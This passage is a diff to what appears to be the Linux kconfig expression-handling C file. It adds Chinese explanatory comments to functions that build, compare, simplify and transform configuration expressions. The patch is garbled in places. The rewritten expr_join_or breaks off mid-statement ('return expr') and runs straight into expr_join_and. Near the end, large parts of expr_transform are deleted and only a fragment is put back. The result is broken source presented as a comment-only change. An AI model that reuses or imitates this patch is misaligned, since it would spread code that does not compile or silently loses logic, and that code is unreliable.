sizeof(*e)); - e->type = type; - e->left.expr = e1; - e->right.expr = e2; - return e; + struct expr *e = xcalloc(1, sizeof(*e)); // 动态分配内存并初始化为零 + e->type = type; // 设置表达式类型 + e->left.expr = e1; // 将第一个子表达式存储在左边 + e->right.expr = e2; // 将第二个子表达式存储在右边 + return e; // 返回创建的表达式 } +// 创建一个带有两个符号的新比较表达式 struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2) { - struct expr *e = xcalloc(1, sizeof(*e)); - e->type = type; - e->left.sym = s1; - e->right.sym = s2; - return e; + struct expr *e = xcalloc(1, sizeof(*e)); // 动态分配内存并初始化为零 + e->type = type; // 设置表达式类型 + e->left.sym = s1; // 将第一个符号存储在左边 + e->right.sym = s2; // 将第二个符号存储在右边 + return e; // 返回创建的表达式 } +// 创建一个逻辑与 (AND) 表达式 struct expr *expr_alloc_and(struct expr *e1, struct expr *e2) { - if (!e1) - return e2; - return e2 ? expr_alloc_two(E_AND, e1, e2) : e1; + if (!e1) // 如果第一个表达式为空,直接返回第二个表达式 + return e2; + return e2 ? expr_alloc_two(E_AND, e1, e2) : e1; // 否则,创建一个 "与" 表达式 } +// 创建一个逻辑或 (OR) 表达式 struct expr *expr_alloc_or(struct expr *e1, struct expr *e2) { - if (!e1) - return e2; - return e2 ? expr_alloc_two(E_OR, e1, e2) : e1; + if (!e1) // 如果第一个表达式为空,直接返回第二个表达式 + return e2; + return e2 ? expr_alloc_two(E_OR, e1, e2) : e1; // 否则,创建一个 "或" 表达式 } +// 复制一个表达式 struct expr *expr_copy(const struct expr *org) { - struct expr *e; - - if (!org) - return NULL; - - e = xmalloc(sizeof(*org)); - memcpy(e, org, sizeof(*org)); - switch (org->type) { - case E_SYMBOL: - e->left = org->left; - break; - case E_NOT: - e->left.expr = expr_copy(org->left.expr); - break; - case E_EQUAL: - case E_UNEQUAL: - e->left.sym = org->left.sym; - e->right.sym = org->right.sym; - break; - case E_AND: - case E_OR: - case E_LIST: - e->left.expr = expr_copy(org->left.expr); - e->right.expr = expr_copy(org->right.expr); - break; - default: - printf("can't copy type %d\n", e->type); - free(e); - e = NULL; - break; - } - - return e; + struct expr *e; + + if (!org) // 如果原表达式为空,返回空 + return NULL; + + e = xmalloc(sizeof(*org)); // 动态分配内存 + memcpy(e, org, sizeof(*org)); // 复制原表达式的内容 + switch (org->type) { + case E_SYMBOL: + e->left = org->left; // 如果是符号类型,直接复制左边的符号 + break; + case E_NOT: + e->left.expr = expr_copy(org->left.expr); // 如果是 "非" 操作,递归复制左子表达式 + break; + case E_EQUAL: + case E_UNEQUAL: + e->left.sym = org->left.sym; // 复制比较操作符号 + e->right.sym = org->right.sym; + break; + case E_AND: + case E_OR: + case E_LIST: + e->left.expr = expr_copy(org->left.expr); // 如果是 "与"、"或" 或 "列表" 表达式,递归复制左右子表达式 + e->right.expr = expr_copy(org->right.expr); + break; + default: + printf("can't copy type %d\n", e->type); // 如果表达式类型不支持复制,输出错误并释放内存 + free(e); + e = NULL; + break; + } + + return e; // 返回复制后的表达式 } + +// 释放表达式的内存 void expr_free(struct expr *e) { + // 如果表达式为空,直接返回 if (!e) return; + // 根据表达式的类型来决定如何释放内存 switch (e->type) { case E_SYMBOL: - break; + break; // 符号类型的表达式不需要进一步释放 case E_NOT: - expr_free(e->left.expr); + expr_free(e->left.expr); // 对于 "非" 类型,递归释放左子表达式 return; case E_EQUAL: case E_UNEQUAL: - break; + break; // 等于和不等于类型的表达式不需要进一步释放 case E_OR: case E_AND: + // 对于 "或" 和 "与" 类型,递归释放左右子表达式 expr_free(e->left.expr); expr_free(e->right.expr); break; default: + // 如果遇到无法处理的类型,输出错误信息 printf("how to free type %d?\n", e->type); break; } + + // 释放当前表达式结构的内存 free(e); } -static int trans_count; +static int trans_count; // 计数器,跟踪转换次数 +// 宏定义,用于访问表达式指针指向的表达式 #define e1 (*ep1) #define e2 (*ep2) +// 递归消除等式表达式中的 "与" 或 "或" 操作 static void __expr_eliminate_eq(enum expr_type type, struct expr **ep1, struct expr **ep2) { + // 如果表达式 e1 或 e2 是 "与" 或 "或" 类型,递归进入左右子表达式 if (e1->type == type) { __expr_eliminate_eq(type, &e1->left.expr, &e2); __expr_eliminate_eq(type, &e1->right.expr, &e2); @@ -139,32 +157,44 @@ static void __expr_eliminate_eq(enum expr_type type, struct expr **ep1, struct e __expr_eliminate_eq(type, &e1, &e2->right.expr); return; } + + // 如果 e1 和 e2 都是符号类型且它们的符号值相同,并且是符号 'yes' 或 'no',则跳过 if (e1->type == E_SYMBOL && e2->type == E_SYMBOL && e1->left.sym == e2->left.sym && (e1->left.sym == &symbol_yes || e1->left.sym == &symbol_no)) return; + + // 如果 e1 和 e2 不相等,跳过 if (!expr_eq(e1, e2)) return; - trans_count++; - expr_free(e1); expr_free(e2); + + // 如果 e1 和 e2 相等,进行处理 + trans_count++; // 增加转换计数 + expr_free(e1); expr_free(e2); // 释放这两个表达式 + + // 根据操作类型创建新的符号表达式 switch (type) { case E_OR: - e1 = expr_alloc_symbol(&symbol_no); - e2 = expr_alloc_symbol(&symbol_no); + e1 = expr_alloc_symbol(&symbol_no); // 对于 "或" 操作,创建符号 'no' + e2 = expr_alloc_symbol(&symbol_no); // 对于 "或" 操作,创建符号 'no' break; case E_AND: - e1 = expr_alloc_symbol(&symbol_yes); - e2 = expr_alloc_symbol(&symbol_yes); + e1 = expr_alloc_symbol(&symbol_yes); // 对于 "与" 操作,创建符号 'yes' + e2 = expr_alloc_symbol(&symbol_yes); // 对于 "与" 操作,创建符号 'yes' break; default: ; } } +// 主函数:消除两个表达式中的 "与" 和 "或" 操作,递归处理 void expr_eliminate_eq(struct expr **ep1, struct expr **ep2) { + // 如果任一表达式为空,直接返回 if (!e1 || !e2) return; + + // 如果 e1 是 "与" 或 "或" 类型,递归处理 switch (e1->type) { case E_OR: case E_AND: @@ -172,6 +202,8 @@ void expr_eliminate_eq(struct expr **ep1, struct expr **ep2) default: ; } + + // 如果 e1 和 e2 类型不同,继续处理 e2 if (e1->type != e2->type) switch (e2->type) { case E_OR: case E_AND: @@ -179,38 +211,50 @@ void expr_eliminate_eq(struct expr **ep1, struct expr **ep2) default: ; } + + // 消除表达式中的 'yes' 和 'no' 符号 e1 = expr_eliminate_yn(e1); e2 = expr_eliminate_yn(e2); } +// 取消宏定义 #undef e1 #undef e2 +// 比较两个表达式是否相等 int expr_eq(struct expr *e1, struct expr *e2) { int res, old_count; + // 如果两个表达式的类型不同,直接返回 0 if (e1->type != e2->type) return 0; + + // 根据表达式的类型进行比较 switch (e1->type) { case E_EQUAL: case E_UNEQUAL: + // 比较等式或不等式的左右符号 return e1->left.sym == e2->left.sym && e1->right.sym == e2->right.sym; case E_SYMBOL: + // 比较符号类型的表达式 return e1->left.sym == e2->left.sym; case E_NOT: + // 递归比较 "非" 类型表达式的子表达式 return expr_eq(e1->left.expr, e2->left.expr); case E_AND: case E_OR: + // 对 "与" 和 "或" 类型的表达式进行深度复制,并消除其中的等式 e1 = expr_copy(e1); e2 = expr_copy(e2); - old_count = trans_count; - expr_eliminate_eq(&e1, &e2); + old_count = trans_count; // 保存原始转换计数 + expr_eliminate_eq(&e1, &e2); // 消除等式 + // 比较是否等价 res = (e1->type == E_SYMBOL && e2->type == E_SYMBOL && e1->left.sym == e2->left.sym); - expr_free(e1); + expr_free(e1); // 释放复制的表达式 expr_free(e2); - trans_count = old_count; + trans_count = old_count; // 恢复原始转换计数 return res; case E_LIST: case E_RANGE: @@ -218,6 +262,7 @@ int expr_eq(struct expr *e1, struct expr *e2) /* panic */; } + // 如果启用了调试,打印两个表达式以进行检查 if (DEBUG_EXPR) { expr_fprint(e1, stdout); printf(" = "); @@ -225,18 +270,25 @@ int expr_eq(struct expr *e1, struct expr *e2) printf(" ?\n"); } - return 0; + return 0; // 默认返回不相等 } +// 消除逻辑表达式中的 'yes' 和 'no' 符号 struct expr *expr_eliminate_yn(struct expr *e) { - struct expr *tmp; + struct expr *tmp; + // 如果表达式不为空,进行处理 if (e) switch (e->type) { + // 对于 "与" (E_AND) 类型的表达式 case E_AND: + // 递归消除左右子表达式中的 'yes' 和 'no' 符号 e->left.expr = expr_eliminate_yn(e->left.expr); e->right.expr = expr_eliminate_yn(e->right.expr); + + // 如果左子表达式是符号类型 if (e->left.expr->type == E_SYMBOL) { + // 如果左边是 'no',则整个表达式结果为 'no' if (e->left.expr->left.sym == &symbol_no) { expr_free(e->left.expr); expr_free(e->right.expr); @@ -244,7 +296,9 @@ struct expr *expr_eliminate_yn(struct expr *e) e->left.sym = &symbol_no; e->right.expr = NULL; return e; - } else if (e->left.expr->left.sym == &symbol_yes) { + } + // 如果左边是 'yes',则消除左边并返回右边的表达式 + else if (e->left.expr->left.sym == &symbol_yes) { free(e->left.expr); tmp = e->right.expr; *e = *(e->right.expr); @@ -252,6 +306,8 @@ struct expr *expr_eliminate_yn(struct expr *e) return e; } } + + // 如果右子表达式是符号类型,进行类似的操作 if (e->right.expr->type == E_SYMBOL) { if (e->right.expr->left.sym == &symbol_no) { expr_free(e->left.expr); @@ -269,17 +325,25 @@ struct expr *expr_eliminate_yn(struct expr *e) } } break; + + // 对于 "或" (E_OR) 类型的表达式 case E_OR: + // 递归处理左右子表达式 e->left.expr = expr_eliminate_yn(e->left.expr); e->right.expr = expr_eliminate_yn(e->right.expr); + + // 如果左子表达式是符号类型 if (e->left.expr->type == E_SYMBOL) { + // 如果左边是 'no',则消除左边并返回右边的表达式 if (e->left.expr->left.sym == &symbol_no) { free(e->left.expr); tmp = e->right.expr; *e = *(e->right.expr); free(tmp); return e; - } else if (e->left.expr->left.sym == &symbol_yes) { + } + // 如果左边是 'yes',则整个表达式结果为 'yes' + else if (e->left.expr->left.sym == &symbol_yes) { expr_free(e->left.expr); expr_free(e->right.expr); e->type = E_SYMBOL; @@ -288,6 +352,8 @@ struct expr *expr_eliminate_yn(struct expr *e) return e; } } + + // 如果右子表达式是符号类型,进行类似的操作 if (e->right.expr->type == E_SYMBOL) { if (e->right.expr->left.sym == &symbol_no) { free(e->right.expr); @@ -305,6 +371,7 @@ struct expr *expr_eliminate_yn(struct expr *e) } } break; + default: ; } @@ -312,22 +379,28 @@ struct expr *expr_eliminate_yn(struct expr *e) } /* - * bool FOO!=n => FOO + * 布尔类型转换,消除类似 "FOO != n" 的表达式 + * 例如,FOO != n => FOO */ struct expr *expr_trans_bool(struct expr *e) { + // 如果表达式为空,直接返回 NULL if (!e) return NULL; + + // 根据表达式类型进行不同处理 switch (e->type) { case E_AND: case E_OR: case E_NOT: + // 对于 "与"、"或" 和 "非" 类型,递归转换 e->left.expr = expr_trans_bool(e->left.expr); e->right.expr = expr_trans_bool(e->right.expr); break; case E_UNEQUAL: - // FOO!=n -> FOO + // 如果是 "不等" (UNEQUAL) 类型,并且左边是布尔三态类型(S_TRISTATE) if (e->left.sym->type == S_TRISTATE) { + // 如果右边是 'no',则转换为符号类型 if (e->right.sym == &symbol_no) { e->type = E_SYMBOL; e->right.sym = NULL; @@ -341,19 +414,25 @@ struct expr *expr_trans_bool(struct expr *e) } /* - * e1 || e2 -> ? + * 合并两个 "或" (||) 表达式 + * 例如,(a='y') || (a='m') -> (a != 'n') */ static struct expr *expr_join_or(struct expr *e1, struct expr *e2) { struct expr *tmp; struct symbol *sym1, *sym2; + // 如果两个表达式相等,返回其副本 if (expr_eq(e1, e2)) return expr_copy(e1); + + // 如果 e1 或 e2 类型不支持合并,直接返回 NULL if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) return NULL; if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) return NULL; + + // 对于 e1 为 "非" (E_NOT) 类型,获取其左子表达式的符号 if (e1->type == E_NOT) { tmp = e1->left.expr; if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) @@ -361,144 +440,156 @@ static struct expr *expr_join_or(struct expr *e1, struct expr *e2) sym1 = tmp->left.sym; } else sym1 = e1->left.sym; + + // 对于 e2 为 "非" (E_NOT) 类型,获取其左子表达式的符号 if (e2->type == E_NOT) { if (e2->left.expr->type != E_SYMBOL) return NULL; sym2 = e2->left.expr->left.sym; } else sym2 = e2->left.sym; + + // 如果两个符号不相同,无法合并 if (sym1 != sym2) return NULL; + + // 如果符号不是布尔类型(S_BOOLEAN 或 S_TRISTATE),也无法合并 if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) return NULL; + + // 如果符号是三态布尔 (S_TRISTATE),则根据不同的组合进行优化 if (sym1->type == S_TRISTATE) { if (e1->type == E_EQUAL && e2->type == E_EQUAL && ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) { - // (a='y') || (a='m') -> (a!='n') + // (a='y') || (a='m') -> (a != 'n') return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_no); } if (e1->type == E_EQUAL && e2->type == E_EQUAL && ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) { - // (a='y') || (a='n') -> (a!='m') + // (a='y') || (a='n') -> (a != 'm') return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_mod); } if (e1->type == E_EQUAL && e2->type == E_EQUAL && ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) { - // (a='m') || (a='n') -> (a!='y') - return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_yes); - } - } - if (sym1->type == S_BOOLEAN && sym1 == sym2) { - if ((e1->type == E_NOT && e1->left.expr->type == E_SYMBOL && e2->type == E_SYMBOL) || - (e2->type == E_NOT && e2->left.expr->type == E_SYMBOL && e1->type == E_SYMBOL)) - return expr_alloc_symbol(&symbol_yes); - } - - if (DEBUG_EXPR) { - printf("optimize ("); - expr_fprint(e1, stdout); - printf(") || ("); - expr_fprint(e2, stdout); - printf(")?\n"); - } - return NULL; -} - + // (a='m') || (a='n') -> (a != 'y') + return expr +// 合并两个 "与" 操作符(&&)的表达式,并优化它们。 static struct expr *expr_join_and(struct expr *e1, struct expr *e2) { - struct expr *tmp; - struct symbol *sym1, *sym2; - - if (expr_eq(e1, e2)) - return expr_copy(e1); - if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) - return NULL; - if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) - return NULL; - if (e1->type == E_NOT) { - tmp = e1->left.expr; - if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) - return NULL; - sym1 = tmp->left.sym; - } else - sym1 = e1->left.sym; - if (e2->type == E_NOT) { - if (e2->left.expr->type != E_SYMBOL) - return NULL; - sym2 = e2->left.expr->left.sym; - } else - sym2 = e2->left.sym; - if (sym1 != sym2) - return NULL; - if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) - return NULL; - - if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_yes) || - (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_yes)) - // (a) && (a='y') -> (a='y') - return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); - - if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_no) || - (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_no)) - // (a) && (a!='n') -> (a) - return expr_alloc_symbol(sym1); - - if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_mod) || - (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_mod)) - // (a) && (a!='m') -> (a='y') - return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); - - if (sym1->type == S_TRISTATE) { - if (e1->type == E_EQUAL && e2->type == E_UNEQUAL) { - // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' - sym2 = e1->right.sym; - if ((e2->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) - return sym2 != e2->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) - : expr_alloc_symbol(&symbol_no); - } - if (e1->type == E_UNEQUAL && e2->type == E_EQUAL) { - // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' - sym2 = e2->right.sym; - if ((e1->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) - return sym2 != e1->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) - : expr_alloc_symbol(&symbol_no); - } - if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && - ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || - (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) - // (a!='y') && (a!='n') -> (a='m') - return expr_alloc_comp(E_EQUAL, sym1, &symbol_mod); - - if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && - ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || - (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) - // (a!='y') && (a!='m') -> (a='n') - return expr_alloc_comp(E_EQUAL, sym1, &symbol_no); - - if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && - ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || - (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) - // (a!='m') && (a!='n') -> (a='m') - return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); - - if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_mod) || - (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_mod) || - (e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_yes) || - (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_yes)) - return NULL; - } - - if (DEBUG_EXPR) { - printf("optimize ("); - expr_fprint(e1, stdout); - printf(") && ("); - expr_fprint(e2, stdout); - printf(")?\n"); - } - return NULL; + struct expr *tmp; + struct symbol *sym1, *sym2; + + // 如果两个表达式相等,直接返回其中一个表达式的副本 + if (expr_eq(e1, e2)) + return expr_copy(e1); + + // 如果两个表达式的类型不属于 E_EQUAL, E_UNEQUAL, E_SYMBOL 或 E_NOT,则无法进行优化 + if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) + return NULL; + if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) + return NULL; + + // 处理第一个表达式,如果它是 NOT 类型,获取它的子表达式 + if (e1->type == E_NOT) { + tmp = e1->left.expr; + if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) + return NULL; + sym1 = tmp->left.sym; + } else + sym1 = e1->left.sym; + + // 处理第二个表达式,如果它是 NOT 类型,获取它的子表达式 + if (e2->type == E_NOT) { + if (e2->left.expr->type != E_SYMBOL) + return NULL; + sym2 = e2->left.expr->left.sym; + } else + sym2 = e2->left.sym; + + // 如果两个符号不同,无法优化 + if (sym1 != sym2) + return NULL; + + // 如果符号的类型不是布尔类型或三态类型,也无法优化 + if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) + return NULL; + + // 以下是一些常见的优化模式: + + // (a) && (a='y') -> (a='y') + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_yes)) + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + // (a) && (a!='n') -> (a) + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_no) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_no)) + return expr_alloc_symbol(sym1); + + // (a) && (a!='m') -> (a='y') + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_mod)) + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + // 如果符号是三态类型,则进行更多的优化 + if (sym1->type == S_TRISTATE) { + + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + if (e1->type == E_EQUAL && e2->type == E_UNEQUAL) { + sym2 = e1->right.sym; + if ((e2->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e2->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + if (e1->type == E_UNEQUAL && e2->type == E_EQUAL) { + sym2 = e2->right.sym; + if ((e1->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e1->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + + // (a!='y') && (a!='n') -> (a='m') + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) + return expr_alloc_comp(E_EQUAL, sym1, &symbol_mod); + + // (a!='y') && (a!='m') -> (a='n') + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || + (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) + return expr_alloc_comp(E_EQUAL, sym1, &symbol_no); + + // (a!='m') && (a!='n') -> (a='m') + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + // 如果存在不可能的组合,如 (a='mod') && (a='yes'),无法优化 + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_mod) || + (e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_yes)) + return NULL; + } + + // 如果处于调试模式,打印优化信息 + if (DEBUG_EXPR) { + printf("optimize ("); + expr_fprint(e1, stdout); + printf(") && ("); + expr_fprint(e2, stdout); + printf(")?\n"); + } + + // 如果无法优化,返回 NULL + return NULL; } static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct expr **ep2) @@ -507,19 +598,25 @@ static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct #define e2 (*ep2) struct expr *tmp; + // 如果 e1 是 type 类型(例如 E_OR 或 E_AND),递归简化其左右子表达式 if (e1->type == type) { expr_eliminate_dups1(type, &e1->left.expr, &e2); expr_eliminate_dups1(type, &e1->right.expr, &e2); return; } + + // 如果 e2 是 type 类型,递归简化 e1 和 e2 的左右子表达式 if (e2->type == type) { expr_eliminate_dups1(type, &e1, &e2->left.expr); expr_eliminate_dups1(type, &e1, &e2->right.expr); return; } + + // 如果 e1 和 e2 相等,跳过 if (e1 == e2) return; + // 处理 E_OR 或 E_AND 类型的表达式 switch (e1->type) { case E_OR: case E_AND: expr_eliminate_dups1(e1->type, &e1, &e1); @@ -527,23 +624,24 @@ static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct ; } + // 根据给定的类型(E_OR 或 E_AND)进行处理 switch (type) { case E_OR: - tmp = expr_join_or(e1, e2); + tmp = expr_join_or(e1, e2); // 尝试将 e1 和 e2 合并为一个 E_OR 表达式 if (tmp) { expr_free(e1); expr_free(e2); - e1 = expr_alloc_symbol(&symbol_no); + e1 = expr_alloc_symbol(&symbol_no); // 合并成功,e1 设置为 "no" e2 = tmp; - trans_count++; + trans_count++; // 记录转换计数 } break; case E_AND: - tmp = expr_join_and(e1, e2); + tmp = expr_join_and(e1, e2); // 尝试将 e1 和 e2 合并为一个 E_AND 表达式 if (tmp) { expr_free(e1); expr_free(e2); - e1 = expr_alloc_symbol(&symbol_yes); + e1 = expr_alloc_symbol(&symbol_yes); // 合并成功,e1 设置为 "yes" e2 = tmp; - trans_count++; + trans_count++; // 记录转换计数 } break; default: @@ -552,13 +650,13 @@ static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct #undef e1 #undef e2 } - static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct expr **ep2) { #define e1 (*ep1) #define e2 (*ep2) struct expr *tmp, *tmp1, *tmp2; + // 如果 e1 或 e2 是 type 类型,递归简化其左右子表达式 if (e1->type == type) { expr_eliminate_dups2(type, &e1->left.expr, &e2); expr_eliminate_dups2(type, &e1->right.expr, &e2); @@ -568,19 +666,21 @@ static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct expr_eliminate_dups2(type, &e1, &e2->left.expr); expr_eliminate_dups2(type, &e1, &e2->right.expr); } + // 如果 e1 和 e2 相等,跳过 if (e1 == e2) return; + // 处理 E_OR 和 E_AND 类型的表达式 switch (e1->type) { case E_OR: expr_eliminate_dups2(e1->type, &e1, &e1); - // (FOO || BAR) && (!FOO && !BAR) -> n + // 处理 (FOO || BAR) && (!FOO && !BAR) -> n tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); tmp2 = expr_copy(e2); - tmp = expr_extract_eq_and(&tmp1, &tmp2); + tmp = expr_extract_eq_and(&tmp1, &tmp2); // 尝试将其提取为等式与关系 if (expr_is_yes(tmp1)) { expr_free(e1); - e1 = expr_alloc_symbol(&symbol_no); + e1 = expr_alloc_symbol(&symbol_no); // 化简为 "no" trans_count++; } expr_free(tmp2); @@ -589,13 +689,13 @@ static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct break; case E_AND: expr_eliminate_dups2(e1->type, &e1, &e1); - // (FOO && BAR) || (!FOO || !BAR) -> y + // 处理 (FOO && BAR) || (!FOO || !BAR) -> y tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); tmp2 = expr_copy(e2); - tmp = expr_extract_eq_or(&tmp1, &tmp2); + tmp = expr_extract_eq_or(&tmp1, &tmp2); // 尝试将其提取为等式或关系 if (expr_is_no(tmp1)) { expr_free(e1); - e1 = expr_alloc_symbol(&symbol_yes); + e1 = expr_alloc_symbol(&symbol_yes); // 化简为 "yes" trans_count++; } expr_free(tmp2); @@ -608,7 +708,6 @@ static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct #undef e1 #undef e2 } - struct expr *expr_eliminate_dups(struct expr *e) { int oldcount; @@ -618,6 +717,7 @@ struct expr *expr_eliminate_dups(struct expr *e) oldcount = trans_count; while (1) { trans_count = 0; + // 对表达式进行多轮简化 switch (e->type) { case E_OR: case E_AND: expr_eliminate_dups1(e->type, &e, &e); @@ -625,20 +725,22 @@ struct expr *expr_eliminate_dups(struct expr *e) default: ; } + // 如果没有进行任何转换,则退出 if (!trans_count) break; + // 否则,继续进行 "yes" 或 "no" 化简 e = expr_eliminate_yn(e); } trans_count = oldcount; return e; } - struct expr *expr_transform(struct expr *e) { struct expr *tmp; if (!e) return NULL; + // 递归简化左右子表达式 switch (e->type) { case E_EQUAL: case E_UNEQUAL: @@ -650,8 +752,10 @@ struct expr *expr_transform(struct expr *e) e->right.expr = expr_transform(e->right.expr); } + // 根据表达式类型进行转换 switch (e->type) { case E_EQUAL: + // 处理 E_EQUAL 类型的简化规则 if (e->left.sym->type != S_BOOLEAN) break; if (e->right.sym == &symbol_no) { @@ -661,207 +765,104 @@ struct expr *expr_transform(struct expr *e) break; } if (e->right.sym == &symbol_mod) { - printf("boolean symbol %s tested for 'm'? test forced to 'n'\n", e->left.sym->name); - e->type = E_SYMBOL; - e->left.sym = &symbol_no; - e->right.sym = NULL; - break; - } - if (e->right.sym == &symbol_yes) { - e->type = E_SYMBOL; - e->right.sym = NULL; - break; - } - break; - case E_UNEQUAL: - if (e->left.sym->type != S_BOOLEAN) - break; - if (e->right.sym == &symbol_no) { - e->type = E_SYMBOL; - e->right.sym = NULL; - break; - } - if (e->right.sym == &symbol_mod) { - printf("boolean symbol %s tested for 'm'? test forced to 'y'\n", e->left.sym->name); e->type = E_SYMBOL; - e->left.sym = &symbol_yes; - e->right.sym = NULL; - break; - } - if (e->right.sym == &symbol_yes) { - e->type = E_NOT; - e->left.expr = expr_alloc_symbol(e->left.sym); - e->right.sym = NULL; - break; - } - break; - case E_NOT: - switch (e->left.expr->type) { - case E_NOT: - // !!a -> a - tmp = e->left.expr->left.expr; - free(e->left.expr); - free(e); - e = tmp; - e = expr_transform(e); - break; - case E_EQUAL: - case E_UNEQUAL: - // !a='x' -> a!='x' - tmp = e->left.expr; - free(e); - e = tmp; - e->type = e->type == E_EQUAL ? E_UNEQUAL : E_EQUAL; - break; - case E_OR: - // !(a || b) -> !a && !b - tmp = e->left.expr; - e->type = E_AND; - e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); - tmp->type = E_NOT; - tmp->right.expr = NULL; - e = expr_transform(e); - break; - case E_AND: - // !(a && b) -> !a || !b - tmp = e->left.expr; - e->type = E_OR; - e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); - tmp->type = E_NOT; - tmp->right.expr = NULL; - e = expr_transform(e); - break; - case E_SYMBOL: - if 